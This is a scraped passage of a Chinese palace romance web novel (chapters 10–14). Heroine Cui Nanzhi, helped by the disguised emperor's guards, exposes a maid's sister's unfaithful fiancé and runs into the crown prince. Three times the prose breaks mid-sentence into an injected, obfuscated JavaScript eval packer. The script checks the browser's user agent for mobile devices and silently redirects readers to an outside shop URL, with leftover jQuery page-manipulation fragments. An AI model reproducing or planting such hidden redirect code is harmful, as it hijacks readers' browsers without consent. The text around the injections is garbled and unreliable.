身下良驹仿佛为了应证主人的说法,冲着崔南栀打了个响鼻。 “那、那算了……我就是觉得它长得很好看……”崔南栀讪讪解释,她连上个小马都费劲,哪敢再想晋王的坐骑,只可远观不可亵玩,看看得了。 温顺的小马与她配合很好,不多时崔南栀就能骑着在延英殿前的广场自由奔走,也不去想晋王的那匹马了。 常进宝递给她马球杆,崔南栀准头还不错,十发球有两三次能打中目标。 每次命中,都能听到她的惊叹声。 天子望着她的身影,他很难将眼前生机勃勃的女郎与多年前那个胆怯寡言的小女孩联系在一起。 崔南栀玩够了回来,额前碎发被风吹得翘起来,露出光洁明丽的脸庞。 她这会儿才想起问题,问道:“皇叔在宫里这样行事,不怕被陛下知道吗?” 问题问到自己头上了,天子很镇定地回答:“无妨。亲王不能随意出入宫禁,我有圣人的特赦手谕。” “原来如此。”崔南栀对他的说法深信不疑。 “圣人常召亲王入宫,譬如仪王,宫中自有一套应对的规程,不是什么难事。”他敏锐地察觉到,崔南栀听到“仪王”便下意识蹙眉,“怎么了吗?” “一点不愉快的事。”崔南栀咬唇,“您和仪王关系好吗?要是关系好我就不说了。” 话都说这份上了,关系好不好还有什么意义。 崔家小女郎还知道问问关系如何,免得在好兄弟面前说另一个人的坏话。 “你说吧,我绝对不会外传。” 崔南栀这才把街上遇到仪王车驾的事复述一遍。 时间地点都对得上,召仪王入宫对弈那日,他说起街上偶遇的美貌女郎原来就是崔南栀。 不过那时仪王应当不知道崔南栀的身份,只把她当成民间女子。 崔南栀仔细打量晋王的表情,他面色微沉,和方才轻松惬意的模样很不一样。 意识到崔南栀有点受惊吓,天子温言安抚:“不是因为你,别怕。” “刚刚看皇叔的神色,我还以为说错话了。”崔南栀声音都小了。 “仪王风流成性,在长安放肆惯了,你再遇到记得离他远点。” 崔南栀点头应下,心想太子不愧是仪王的亲儿子,父子俩还真是像啊,晋王看起来比仪王年轻多了,行事却如此沉稳。 她倒是很想问问圣人不管吗,想想这算是朝堂之事,就算问了晋王多半也不会告诉她缘由,没准还会让她不要再说类似的话,免得被人扣个罪名说她不敬天子。 小女郎的心事都写脸上,对天子来说实在太好猜。 原本崔南栀在他眼里只是崔积繁的女儿,不论是昌乐公主府还是延英殿,他都当做是对恩人之女的补偿。 只是这一场马球教学还未结束,他已经隐隐开始期待下一次见面。 11. 第 11 章 第11章 崔娘子愿意主动与长安权贵打好关系,令芳丹很是感动。 虽然据崔娘子说是不知道哪来的晋王指点的,总之能迈出这一步,已经是她懂事的证明。 崔南栀的女红不大拿得出手,绣样都出自芳丹之手,崔南栀只负责往里面填香药。 芳丹对晋王的来意表示怀疑,但崔南栀解释他是那日在慈恩寺送伞的人,又在茶楼给她和祝萦解围,再三担保他肯定是个好人。 芳丹重重叹气,既然她也受过晋王恩惠,不便再多说。 昌乐公主那边收到后果然很喜欢,特地派人送两盒首饰来。 天子那边……她委托女官去送去紫宸殿,却如石沉大海毫无回应。崔南栀只能安慰自己,宫里什么奇珍异宝没有,陛下还能看上她几个不值钱的香囊?能不能送到陛下面前还是个问题,还谈什么“礼轻情意重”。 还多出来两份,崔南栀原是想给晋王的,苦恼于每次都是晋王那边主动找来,崔南栀却不知道该去哪找他。 长安坊市并没有晋王府这处地方,崔南栀旁敲侧击询问,得到的回答都是现在没听说过晋王,倒是先帝的兄弟们中有一个。算算年龄,那都得是胡子花白的老头子了,和马球场上风华正茂的晋王殿下完全联系不起来啊。 “小娘子对生人还是要多多警惕,外人都说没有晋王这个人,说不准是编出来诓骗小娘子的。”芳丹对靠近自家小娘子的男人都没好感。 可什么人能诓骗到在宫里进出自如呢? 芳丹也答不上来,只能一再重复让崔南栀小心些,她这样独身来长安的美貌小娘子,就是某些不怀好意男人眼里的盘中餐。 紫宸殿的小黄门收到香囊不知道该如何处理,便转交给圣人身边的常少监。 常进宝瞥了眼香囊,不动声色说了声“知道了,你下去吧”,小黄门如获大赦。 一转头常进宝就亲自送去天子跟前:“崔娘子给昌乐公主和宜春郡主也送了,看来崔娘子是把陛下的话听进去了。” 天子没有马上拿起来,视线淡淡扫过,就发现盘子里的香囊与他手中的不同之处。 献上来的香囊针脚细密,图案花样都很考究,他手里那个只能说是看得出很努力做完了。 常进宝也发现区别,讷讷道:“一口气做这么些个也挺费眼睛的,崔娘子怕是忙不过来。” 天子始终没有碰过盘子里的香囊,让常进宝直接拿下去。 常进宝想起什么,说道:“奴婢听闻,崔娘子最近和人打听晋王府邸的位置。” 天子终于有所触动:“说下去。” “不过并未有进展,崔娘子在长安坊市间转了两圈,估摸着是想自己去找,一无所获。” 当然是找不到的,寻常宫人怎么会知道当今圣人在登基前曾有个晋王的封号,只是掩盖在东宫光辉之下,除了太后和几个年事已高的朝臣,几乎没什么人知晓。 她找不到晋王府,会不会觉得他在骗她? 只是很短暂的一个念头,短倒转瞬即逝,却让天子无端地生出一丝惶恐。 他飞快地掩盖住这份情绪,若无其事地继续手头事宜。 最终那两个多出来的无主香囊被崔南栀送给了女官们,数量不够,趁着闲暇空隙,崔南栀打算直接做新的。 “对花焚香有五味相和,其中一味‘木樨宜龙脑’。”崔南栀嘴上说着,其实心里也没底,宫里最不缺龙脑香,她让水芝帮忙拿来,想试一试书上的方子。 她拈起一撮,愣了下,问道:“咦,这是乳香?” “奴婢拿错了。”水芝赶紧把碟子拿回去,“这就去换新的来。” 崔南栀望着她的背影,她最近两次来宫里,水芝都有点心不在焉的,也不是头一回出错。 趁着水芝不在,女官们低声解释说水芝与家里人通信,似是家里出了些事。 崔南栀对这些还不大熟悉,听着女官们你一言我一语,才知道原来有这么多门道。 宫里的内侍和女使们大多是家里贫穷才卖进来的,她们努力考上女官,也能恩泽家人,譬如像水芝这样家人就在长安的,家中出了个做女官的女儿,家里其他女眷议亲都会更方便些。 水芝回来时,面上笑容明显了些。 崔南栀留了个心眼儿,仔细观察一下,水芝眼皮还微微发肿泛红,明显是才哭过不久。 换作其他名门淑女,可能根本不会在意一个宫女的情绪。但崔南栀不一样啊,宣州县令是崔积繁的旧识,崔积繁身体还行的时候时常帮着断案看卷宗,崔南栀从小耳濡目染,什么家长里短都见过,直觉就知道水芝遇到的事肯定不是小事。 分走了做好的香药,女官们散了,崔南栀叫住水芝。 三言两语,水芝眼里就蓄上一层雾气。 “是家里人病了,还是……”崔南栀猜着缘由。 水芝摇头:“是奴婢的妹妹议亲。” 来龙去脉十分简单,水芝的妹妹本来定下一门亲事,男方家里突然出事要守孝三年,水芝妹妹等了三年,今年孝期结束,正准备成亲了,结果发现男方家里的婢女肚子都显形了。水芝的妹妹不肯再嫁,但对方也算小有家底,她妹妹还是仰赖于水芝在宫中做女官才觅得这么一门好亲事,她们家里没什么话语权。眼看婚期将近,水芝又出不去,也不知道妹妹今后会如何,才急得哭。 虽然不能言明,崔南栀立即感同身受——不就是另一个她吗! 年轻女郎很容易热血上涌,才听完水芝的哭诉,崔南栀就拍着胸口说她一定会帮忙。 水芝含着泪,问道:“崔娘子如何帮?” 一下子把崔南栀问得哑口无言。 她一个跟水芝八竿子打不着的外人,好像是没什么立场去干涉他们家的婚嫁。 水芝看出她的犹豫,擦去眼角泪水,面露感激:“说到底是奴婢的家事,都是上不得台面的腌臜,说给崔娘子听都怕污了娘子的耳朵。要真是奴婢妹妹的命数,那也只能看她自己的造化了。” 话是这么说,崔南栀不可能听过就忘。 再次与晋王打马球时,小女郎骑术和准头都比之前精进许多,被晋王夸奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725196|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没露出多少高兴的神态。 直至暮色四合,常进宝接过二人手中马鞭,崔南栀重新束发,天子才问道:“今日心事重重?” 崔南栀讶然:“皇叔怎么知道?” “连挥杆的力气都比之前大。”天子道,示意她摊开手,柔白掌心有两块被磨出的红色印子,“再烦躁些掌心都要磨破留疤痕。” “这么明显!我还以为自己藏得很好。”崔南栀背过手。 为数不多的几次相处,崔南栀已经觉得他靠谱,思忖再三还是想听一听他的意见:“我有个朋友……她妹妹之前订了亲事,还因为那人守孝三年拖到现在,结果却遇到了负心人,家里婢女都已经显怀了。她妹妹不想嫁过去,又因为高嫁的缘故,由不得她说了算。” 天子很少遇到类似的事,世家和朝臣们的婚嫁之事需经过层层斟酌,即便有些需要他来过目的,期间繁琐流程也与天子五官。这还是第一次接触到民间婚嫁琐事。 “原来如此,我还以为你是没找到晋王府邸才闷闷不乐。” “这个皇叔也知道?”小女郎仰起脸。 天子颔首,轻飘飘用“不便透露”打发掉了这问题:“若是让人知道了你寻我,传出些风言风语就不好了。” 虽然身正不怕影子斜,但麻烦事总归是越少越好。 崔南栀说完,觉得让他来评价这件事是不是太难为人了:“皇叔应当体会不到这种烦恼吧?” 天子想了想,诚实回答:“暂时没有。”他又补充道,“我尚未娶妻,不太懂这些。” 这下轮到崔南栀瞪大眼睛:“尚未娶妻,等一下——” 她后退几步,拉开两人之间的距离。 那双黑玉般的眼眸里满是震惊, 晋王这个年纪,竟然还没有娶妻吗?她听闻天子至今还未立后,六宫空置,真不愧是李家的兄弟,连此等爱好都如出一辙! 天子难得有一点无所适从,因为不娶妻不选秀的事,他自个儿也没少被言官们唠叨,他不太想从崔南栀口中听到负面评价。 谁知小女郎双眼发亮,十分憧憬地望着他:“像皇叔这样守身如玉的男子,现在算是极其少有了。” 天子强装镇定地应下,迅速岔开话题:“你朋友那事,并非没有处理办法。” 崔南栀立即来了兴趣。 “出了孝期便开始筹备婚事,却发觉婢女怀有身孕。妇人显怀大多得有四五个月,那这孩子又是什么时候怀上的?” “我怎么没想到这一点!” 她一个云英未嫁的女郎,怎么会想得如此深入。 “若是要追究,闹到官府那边,按本朝律法当徒刑三年。”天子道,“你那朋友的妹妹要是于心不忍,就有些难办了。” “不试一试怎么知道?” 她心意已决,不知道那位朋友在她心里到底是什么分量,竟然愿意掺和到别人家长里短的事。 天子不可能放任她自己去,堵不如疏,只能无奈道:“你一个小娘子去太危险,我派几个人跟着你,有什么事你直接吩咐他们就行。” 12. 第 12 章 第12章 有求于人被满足时,崔南栀总要抱着崔积繁或郑菀撒好一会儿娇,恨不得把阿耶阿娘夸到天上有地上无。 身体比脑子动得快,崔南栀下意识靠近,对上晋王淡漠的双眼,又硬生生止住脚步,讪然道:“多谢皇叔。” 她靠近的一瞬间,幽幽香气涌上鼻尖。 好在他清楚地知道崔南栀是从宣州来的,不熟悉长安女郎的行事,不然她送香囊的行为就够让人胡思乱想了——长安女郎喜香熏香,送人也送香囊,让情郎牢牢地记住她身上的香气,以后一旦闻到类似的气味,就会想起对应的人。 常进宝以为天子说得“派几个人”顶多也就拨几个力气大点的内侍,结果领人时候给得竟然是天子亲卫。常进宝还得一个个嘱咐,不能走漏了身份,得说是晋王的人,绝不可以提及陛下,哪怕崔娘子口误说了些什么不恰当的话,也得装聋作哑马上忘掉。 让天子亲卫来,属实是大材小用。 但也足以证明陛下对恩人之女的看重。 常进宝熟练地为陛下找好托词。 水芝已经许久没出过宫,仅凭和家里人的书信知道一点模糊的位置,知道是在宣义坊。亲卫顺着打听过去,终于在宣义坊找到了那户高姓人家,和水芝的描述都对得上。 来得早不如来得巧,那人家正在里里外外搬着东西。 据水芝所说,妹妹香筠知道之后想去问高二郎,但高家人都帮着打圆场,高二郎也不肯见她。香筠没有证据,碰壁几次之后也没了其他办法。 看眼前场景,高家人明显是想运送东西出去,箱笼器具数量不少。 崔南栀不便出面,坐在马车里,让亲卫去询问。 天子亲卫乔装打扮过,假装是崔南栀的随从,还编了一套背景故事,说是从外地来长安投奔亲戚的小娘子,要租个院子住一阵。 高家小厮很警惕,亲卫把编好的故事一说,他往身后张望,不远处的确停着一辆雅致的马车,证实所言非虚。 “我家小娘子孤身一人,不敢住偏僻的地方,想着离皇城近一点也安全些。逛了一圈看见您家在搬东西,想问问是否有宽敞点的空屋子租赁?” 他人高马大的,讲话倒是很客气,高家小厮打量一番还是说了:“我们只是送府上女眷出行,并不是乔迁,要不您还是换个地方问。” 他一说话手上动作就慢了,高家二郎正好出来看到,叱责几句,转头看到亲卫问道:“他是谁?” 小厮解释完原委,高二郎哦了声,望向那辆马车,打起了新主意——都来投奔亲戚了,多半是无依无靠、孤身一人的女郎,看马车外观应当是有点家底的。 高二郎心里痒痒,正好他的婢女要被送去庄子上,趁着无人的工夫要是能认识一下这位小娘子多好。 佯装热情地要为女郎介绍长安坊市,高二郎试图与亲卫勾肩搭背拉近距离,结果对方比他高大半个头,他攀不起,只好讷讷地收回手,拍了拍对方后背装作好客模样。 车里不止崔南栀,还坐着香筠。 香筠听到高二郎的声音顿时激动起来,被崔南栀按住手示意她不要发出声音。 崔南栀撩起车帘,只是扫了一眼,看清高二郎的模样便放下来,短短一瞬,于他而言已是惊鸿一瞥。 长安女郎虽多,高家是商贾起家,端庄的高门贵女肯定是看不上他的,贫苦些的人家他又瞧不上,和香筠的婚事其实也是家里人拍板决定。香筠性子懦弱,他吃定了她就算知道也只能咽下哑巴亏,不敢闹大,才敢肆无忌惮与婢女厮混在一起。 见到崔南栀,什么香筠什么婢女,统统都被高二郎抛之脑后。 “小娘子是刚来长安吧?”高二郎献殷勤道,“人生地不熟的,很容易牙郎坑骗,长安人多混杂,这里面的水可深着呢。高某愿意为小娘子鞍前马后,万死不辞!” “谢谢小郎君,但我看小郎君好像有事在忙,不便叨扰,我再自己看看吧。” “不忙不忙!”高二郎立即改口,“又不用我亲自动手,我有的是空!” 天子亲卫咳嗽几声,挡在他面前:“承蒙公子好意,不过我们家小娘子怕生,还是不要纠缠的好。” “他也是一片好心,别吓着人家。”女郎声线细细柔柔的,高二郎本来就没什么脑子,被崔南栀和亲卫一唱一和的,立即晕头转向,听着崔南栀说什么都应下。 话不宜说太多,按着崔南栀构想的,要保留她的神秘才更好引人上钩。 何况香筠也在场,再说下去她都怕香筠情绪失控会打乱计划。 高二郎还想再搭讪几句,碍于亲卫不像和善之辈,只好依依不舍地与这位不知名姓的貌美女郎告别。 一离开宣义坊,香筠忍不住哭出声:“他怎么能不来见我呢?” 崔南栀欲言又止,高二郎心虚成那样,怎么可能见香筠,躲都来不及。 不用崔南栀吩咐,亲卫自有调查的手段。相比平时监视朝臣□□朝纲,只是打听高家人的动静,对他们而言简直易如反掌。 半天不到的功夫他们就从周围街坊邻居得知,高家人想把那怀孕的婢女送走,假装没这事儿,拖时间等香筠嫁过去。 等亲卫们打听的工夫,香筠还边哭边和崔南栀诉苦:“我和他还是小时候就认识的,提亲时候我还很高兴,嫁给认识的人总比陌生人要好,他怎么会是这样的人?” 知人知面不知心,而且你俩好像也不太熟。 崔南栀只敢腹诽,不敢说出口。 香筠还没彻底死心,崔南栀索性一不做二不休,让她亲自跟高二郎说清楚。 · 紫宸殿内香烟缭绕,天子听完亲卫的回禀,沉默半晌:“就这些?她没说别的?” 亲卫尽力回忆,答道:“臣与崔小娘子所有的经过都在这了。” 听闻崔南栀想用美色引人上钩,天子便皱起眉。 然而他并没有在亲卫面前多说什么,比起隔着中间人传话,还不如到时候亲自问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725197|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一问崔南栀。 常进宝宽慰道:“崔小娘子还挺热心的。” “热心到亲自去抓人?”天子道,“这种事交给旁人去办就好。” “这就是崔小娘子的妙处了,您一声令下就能把高二郎抓来交代了,但没法让香筠姑娘断了念想。”常进宝这会儿能跟天子解释其中门道,“崔小娘子就是想让香筠见一见高二郎,让她彻底死心。” 天子不置可否,他给崔南栀权力,让她自己去处理这事,当然是相信她能做好。 只是这用的方式…… 该说是小女郎大胆尝试,还是她离经叛道呢。 · 崔南栀让人传话给高二郎,说自己已在长安找到合适的住处,他又是自己来长安为数不多认识的人,想请他吃顿饭以作答谢。 高二郎收到帖子,顾不上家里还没收拾干净就前去赴约。 孤身一人的小娘子最易哄骗,他甚至已经想好用什么措辞,让对方能放下戒心,觉得他是个可托付的人。 酒楼里人员混杂,帖子里写明了雅间的名字。 楼下大堂、楼上雅间,都有亲卫乔装把守。高二郎喜滋滋地上楼,未曾注意到他一出现在门口,就有几双眼睛望过来。 崔南栀在隔壁雅间,仔细听他们的动静。 高二郎推开门,女郎背对他坐着。此时他心里只有即将见到美貌女郎的欣喜,忽略了背影的熟悉感。 香筠紧张地坐在那,她央求崔南栀再给他一次机会,让她与高二郎面对面说清楚。 帖子用得是崔南栀的名义,其实香筠一开始就知道,若是高二郎不是个负心薄情的人,根本不会接下帖子,更不可能过来。 他出现的时候,香筠的心已经凉了大半,最后一丝希冀只能寄托在他见到自己时。 “这位小娘子……”高二郎的声音再落入香筠耳中,都显得刺耳不少。 香筠不再犹豫,转过身直视他。 高二郎猝不及防,脑子里“轰”一下炸开,指着香筠半天没说出话来:“你……怎么是你?!” “二郎还想着是谁?”香筠反问,“是那日马车上的娘子吗?” 高二郎再傻也反应过来,他进了那女郎的局。 他甩开香筠,立刻推开雅间的门要跑。 “人跑了,快追!”崔南栀惊呼一声,天子亲卫立即齐刷刷起身。 长安坊市人多,鱼龙混杂,亲卫们不能暴露身份,穿梭在人群之中,还真让慌不择路的高二郎跑出一段距离。 “我们也去看看!”崔南栀拉着香筠跟过去,女郎的衣裙增加了累赘,崔南栀提着裙摆下楼,只顾着看脚下楼梯,没注意迎面走来的人。 她一下没刹住,撞到来人的胸口,疼得捂住鼻尖。 “抱歉,没看到——”崔南栀仰起脸,看清对方的面容,杏眸圆睁,“怎么是你?” 太子被她撞得趔趄几步,正要呵斥对方长没长眼睛,就看到一张熟悉的脸:“崔南栀?!” 13. 第 13 章 第13章 太子定睛细看,崔南栀穿得也不像是出来玩的模样,旁边更是跟着个没见过的普通女郎,行色匆匆地跑下楼,淑女模样荡然无存。 “你……干嘛呢你?”太子被她摆过两道,有点发憷,莫名地觉得遇到她没什么好事。 崔南栀撞到鼻子,疼得泪眼汪汪,太子顿时慌了:“你哭什么啊?我刚刚没凶你吧?”说着还朝四周张望,生怕像之前那样被天子的人看到,他还没过几天自由日子呢,被告到紫宸殿去他又得挨罚。 “我一会儿再跟你说,现在还有别的事。”崔南栀伸手推他,太子还真乖乖被推到一边,给她让出一条道。 眼看小女郎越跑越远,侍从看向太子,不知作何打算。 太子一拍脑袋,终于反应过来:“不是,她先撞了我,怎么还怪起我来了?” “殿下,那还要吃饭吗?”侍从问。 “吃什么吃,你就惦记吃!”太子撇下侍从,大步离开,“去看看她跑这么急做什么!” 高二郎跑得上气不接下气,他一个普通商贾子弟体力怎么比得过训练有素的天子亲卫。刚还有人群混杂做阻挠,亲卫们想低调行事。失去人群的遮挡缓冲,亲卫很快就将他按住。 高二郎认出其中一个是那日在高家后门搭话的亲卫,气喘吁吁道:“你们是设局来捉弄我?” 此时亲卫完全没有之前的客气有礼,居高临下睨他,说道:“什么捉弄,我们小娘子有话要问你。留点力气,一会儿有的是你该说话的时候。” 周遭百姓窃窃私语,高二郎哪里遭遇过这种场面,羞愤难当,根本听不进别人的话,嘴里骂骂咧咧的。 崔南栀和香筠很容易就找到他们,被不少人围观着,十分醒目。 高二郎灰头土脸,跑得发冠都歪斜,哪有哄骗婢女和撩拨崔娘子时故作风流的模样。 “香筠!香筠!”高二郎见到香筠跟抓到救命稻草似的,一个劲儿地喊她。 香筠怕人,躲到崔南栀身后。 “香筠,你就这么看着未婚夫被人欺辱吗?”高二郎高声叫道,“他们是不是骗你来给我设局,好拆散咱们的婚事?我跟你说,你别信他们的胡话,还有几个月就是咱们的婚期,你别被骗了!” 无论高二郎怎么喊,他那未婚妻都不肯为他出声。 “崔娘子,闹大了不好收场,先找个地方吧。”天子亲卫看了看围观的人群越来越多,向崔南栀提议。 崔南栀点头,正在思忖去哪里合适,后面又有人从人群里挤出来叫住她。 “你怎么还跟来了?”崔南栀瞪大眼,差点把“太子”两字脱口而出。 天子亲卫认出是太子,纷纷交换目光,或是别开脸或是低下头。好在太子并不关心旁边办事人员,只追着崔南栀过来。 “僻静地方?我知道一处。”太子对侍从道,“你带路去。” 去的是侍从落脚的小院子,高二郎叫了半天放开他,得了崔南栀的允许,亲卫才松手。 碍于几个人高马大的亲卫在旁边,高二郎暂时不敢造次,只好朝香筠打苦情牌:“你这是要做什么,不论有什么也是咱们两家之间的事,你怎么找外人来插手?” 香筠本来就是准备找高二郎问个明白,现在终于见到人,又有姐姐认识的人来帮她撑底气:“若不是他们帮我,你还愿意见我吗?你跟那婢女究竟是怎么回事?” “什么婢女?”高二郎装傻,“你若是说我爱看外面小娘子我认了,爱美之心人皆有之,但我屋里除了几个雇来做杂活的仆妇,哪有什么婢女?” “不是有个叫芸儿的?”崔南栀问,“我记错了?不叫芸儿也可能叫草儿叶儿。” 高二郎语塞,还想糊弄过去:“谁?什么芸儿?我不认识啊,你们别血口喷人!要是不信就去我家里找,能找出叫芸儿的我跟你们姓!” 在场两个,一个姓李一个姓崔,哪里是他能高攀的姓氏,亲卫听着都要发笑。 “你家当然找不到芸儿,人都被你们送去庄子上了。” 高二郎脸色大变,终于正视起眼前这位女郎——他先前被美貌迷惑心神,没想到她这么不好骗,恐怕一开始接近他就是别有目的。 天子亲卫哪是吃素的,早就找到庄子上的芸儿,让郎中把脉确定了怀上身子的时间。 往前倒推,正是高二郎为长辈守孝期间。芸儿没见过什么世面,被几个自称来查案的一吓唬,以为高二郎犯了什么大案,立刻一五一十地全交代了。连高二郎偷偷摸摸饮酒,酒后醉言连等香筠过门做正头娘子,给芸儿抬个妾室都说出口。 女郎再美丽,在高二郎眼里也成了淬着毒的蛇蝎美人。 高二郎自个儿心虚,结结巴巴否认,半晌讲不出一句逻辑通顺的话。 酒后吐真言,香筠听完彻底死心,失望地错开视线,不肯与他对视。 太子在边上跟看戏似的,从三言两语里能分辨出来,这是在痛打负心汉呢。 他图个热闹看得高兴,余光瞥到崔南栀,倏地就挪不开了。女郎微蹙眉尖,神情专注,透着一种锐利的美。他才知道原来崔南栀怼他和斥责别人是不同的。骂别人那是毫不留情面,骂他时候多少还得顾着彼此的面子,多少有点令人上瘾的滋味。 “芸儿怀上四五个月了,算算日子是在你尚未出孝期的时间里。”崔南栀说道,“在我朝是违反律令的。当然事情也不必做得太绝,你若是愿意与香筠姑娘解除婚约,把责任都揽到自己身上来,这事儿还有商量的余地。” 解除婚约,什么解除婚约——太子正在欣赏他未婚妻的侧颜,耳朵里钻进这四个字,狠狠打了个激灵。 高二郎显出一种死猪不怕开水烫的态度,从前是他看不上香筠,觉得她只是有一个在宫里做女官的姐姐,性子软又好拿捏,没想过有一日会被她骑在头上、尊严尽失:“你们做局来构陷我,我非得去告官不可!” 和高二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725198|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎是真的说不通,亲卫们也遗憾地摇头。 或许是太子在一旁优哉游哉的姿态刺激到他,高二郎逮着人就咬:“这人不会是你的姘头吧?是攀上了富贵人家的公子哥,看不上高家的买卖?” 太子莫名其妙被点名,看了眼崔南栀边上的黄毛丫头,再看看自己一身绫罗绸缎,确认了那人就是在骂自己,反驳道:“什么德行,你先管好你自己吧。” 高二郎气血上涌,突然生出恶胆就朝他扑过去。 太子躲得快,被他抓到一片衣袖,又被侍从拍开。 天子亲卫出手很快,把人按在地上。 崔南栀目瞪口呆,真没想到跟他说理说不通,竟然就要动手。高二郎找谁麻烦不好,偏偏挑中在场人员里最碰不得的金枝玉叶。 本来协商一下就能解决的事,突然变得复杂起来。 毕竟她身边这位并不是普通人,而是一国太子。事情可大可小,但唯独不能当作没发生过,这么多双眼睛看着呢。 “殿下,您没事吧!”侍从紧张地上前检查太子全身。 太子嫌弃地拍拍皱掉的衣袖:“没碰到我。” 称呼都喊出来了,亲卫们没法装聋作哑。 高二郎才知道原来给香筠出头的还有个太子,这下不用崔南栀再想什么别的法子恐吓他,高二郎自己先被吓昏过去。 太子没想到自己还有这个用处,虽然没吃上饭,但围观了一场好戏,也不算太亏。 他嘴上还不饶人:“你还真喜欢多管闲事。” “哪比得上太子殿下,还非得跟过来看一场。”崔南栀不想搭理他,转身欲走,被太子拦下。 “你不会是想先拿别人的婚事试手,然后来解除我俩的婚约吧。” 太子殿下真是会异想天开,但崔南栀就是要顺着他的意思说,扬起唇角点了点头,笑意明媚,却犹如一根尖刺扎进太子心里。 太子表情垮下:“你就想想吧,除了皇叔,谁还能插手这事。” 离开的路上太子还在她耳边叽叽喳喳:“帮你解决了事端不是很好吗,要不是我在场,也未必能这么顺利的帮那小丫头解婚约。” “确实,本来只是协商一下的事,因为殿下的缘故他现在要被押送候审了。”崔南栀反唇相讥。 香筠哪敢说话,一路上死死憋着嘴,太子朝她看来都紧张地发抖。 太子宽宏大量,并未追究高二郎的事,但事情已经被捅上去了,高二郎孝期违背律法是板上钉钉,徒刑是免不了的事。崔南栀只能安慰自己,不论过程如何,总归是她想要的结局。 这次出乎意料地顺利,崔南栀略去太子这一段没提,含含糊糊说事情已经解决了。 水芝十分感激,眼眶微红:“要不是崔娘子帮忙,我妹妹就得不明不白嫁过去,还不知道要受多少苦。” 其实应当多谢谢晋王才是。崔南栀只能默默想道,她还不能把晋王的事说出去,被迫承下一个大人情。 14. 第 14 章 第14章 帮到水芝和香筠固然很好,崔南栀却没有如释重负的感觉。 香筠和高二郎的闹剧简直是另一版的她,可高二郎有错处可抓,太子没有。即便有,她又有什么办法去抗衡圣旨。 崔南栀重重地叹气,倚在太液池栈道边,掰着手头的蒸饼。 太液池里的鱼很对不起它们的身价,一条条都金贵得很,依旧翻腾着抢夺撒下的蒸饼碎屑。 常进宝听她叹了十几声气,耳朵发麻。 终于天子迈开脚步,不疾不徐的脚步声惊动池子里的鱼,方才还表演“鱼口夺食”,眨眼间全都没入湖底,一溜烟儿地游走了。 崔南栀转过身,晋王踱步而来,常进宝停在不远处。 “我来得不是时候?”天子看向她手里剩下的小块蒸饼。 崔南栀摇头,把蒸饼塞自己嘴里,脸颊都鼓起来一小块。她背过身,等咽下去了才回答:“鱼本来就怕人,不管来得是谁都会逃走。” 不过崔南栀更好奇晋王为什么会出现在这里,太液池已经是后宫腹地,一般人进不来的吧。 “圣人常召人入宫对弈。”他道,“就在清晖阁。” 崔南栀毫无怀疑之心,他口中的那座建筑掩映在青葱树木间,看晋王来时的方向,好像也是从清晖阁那边过来的。 原来是要面圣,难怪晋王今日穿得如此正式,狮子纹的白玉革带缀在深色襕袍,风姿卓绝。 其实太子长得还挺俊秀,但和晋王比起来就差了不止一星半点,一言一行崔南栀都觉得十分赏心悦目。 她还沉浸在美色中,晋王倏地靠近,崔南栀还没反应过来,一脸的茫然。 直到隔着丝帕的温度擦过唇角,崔南栀才后知后觉意识到两人的距离似乎太近了些,视线慌乱闪躲,猝不及防撞进深邃的眼眸里。崔南栀双颊顿时染上薄红,紧紧地抿起唇。 丝帕上沾着一点蒸饼屑,崔南栀无措地捂着脸,慌慌张张的模样逗笑天子:“擦干净了。” “事情不是已经顺利解决了,怎么还隔着老远听你叹气。” 崔南栀差点又要叹气:“多亏皇叔的人相助才能顺利解决,我只是还有些别的困惑才叹气的。” 栈道的风大,她发间蝶簪振翅欲飞,话音吹得断断续续。 “皇叔是因为什么缘由才不娶妻呢?” 天子并不讶异她问出如此大胆的问题,只是他现在的身份是晋王,要编一个符合晋王身份的回答,需要费点心神。 好在崔南栀不熟悉长安权贵之间错综复杂的关系,她只是单纯地想向周围寻找一个可以倾诉的、可靠的人。 晋王没有回答,崔南栀的思绪已经飞向天外。 若是考生立志考取功名再成家倒也常见,说不定运气好还能被指婚乡君县主之类的,但晋王并不需要科举……她听说权贵间常有些不为人知的癖好,虽然看晋王的模样不像是那样的人…… 眉尖不自觉地蹙起,唇珠咬出一道浅浅的齿痕。 她那点稀奇古怪的小心思无所遁形,天子思忖,莫非还是解释一下吧,不然崔南栀看他的眼神愈发微妙。 十年前他与崔南栀年龄相仿时,或许回答也是差不多的,彼时羽翼未丰,不想做供人操纵的棋子,娶妻立后意味着他会成为国舅家的提线木偶。这是他反抗朝臣的最有效的方式。 